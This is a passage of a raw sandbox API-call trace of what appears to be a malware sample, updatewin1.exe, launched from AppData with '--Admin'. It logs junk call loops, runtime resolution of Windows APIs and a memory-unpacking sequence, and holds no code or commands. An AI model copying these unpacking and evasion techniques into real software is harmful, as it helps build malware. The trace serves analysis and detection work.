nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.320] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.320] AddAtomA (lpString=0x0) returned 0x0 [0094.320] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.321] AddAtomA (lpString=0x0) returned 0x0 [0094.321] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0094.321] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0094.344] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0094.344] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0094.344] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0094.344] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0094.344] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0094.344] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0094.345] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0094.345] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0094.345] SetErrorMode (uMode=0x400) returned 0x0 [0094.345] SetErrorMode (uMode=0x0) returned 0x400 [0094.345] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0094.345] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0094.347] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0094.382] VirtualFree (lpAddress=0x240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.383] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0094.384] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0094.385] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0094.386] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0094.387] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0094.388] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0094.389] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0094.389] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0094.389] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0094.389] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0094.389] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0094.389] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0094.389] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0094.390] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0094.390] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0094.390] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0094.390] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0094.390] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0094.390] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0094.390] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0094.390] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0094.390] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0094.393] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0094.394] atexit (param_1=0x6463e0) returned 0 [0094.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xec2485f0, dwHighDateTime=0x1d50371)) [0094.394] GetCurrentThreadId () returned 0xae4 [0094.394] GetCurrentProcessId () returned 0xae0 [0094.394] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=21424077953) returned 1 [0094.394] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0094.394] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.394] GetLastError () returned 0x57 [0094.394] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.394] GetLastError () returned 0x57 [0094.394] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0094.394] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0094.394] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.394] GetLastError () returned 0x57 [0094.394] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0094.395] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0094.395] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.395] GetLastError () returned 0x57 [0094.395] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.395] GetLastError () returned 0x57 [0094.395] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0094.395] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0094.395] GetProcessHeap () returned 0x630000 [0094.395] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.395] GetLastError () returned 0x57 [0094.395] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0094.395] GetLastError () returned 0x57 [0094.396] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0094.396] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0094.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x364) returned 0x65a9f0 [0094.396] SetLastError (dwErrCode=0x57) [0094.396] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xc00) returned 0x65ad60 [0094.397] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x11515f2c, hStdError=0xfffffffe)) [0094.397] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0094.398] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0094.398] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0094.398] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin" [0094.398] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin" [0094.398] GetACP () returned 0x4e4 [0094.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x220) returned 0x659eb0 [0094.398] IsValidCodePage (CodePage=0x4e4) returned 1 [0094.398] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0094.398] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0094.398] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0094.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0094.398] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.398] GetLastError () returned 0x57 [0094.398] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0094.398] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0094.398] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0094.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\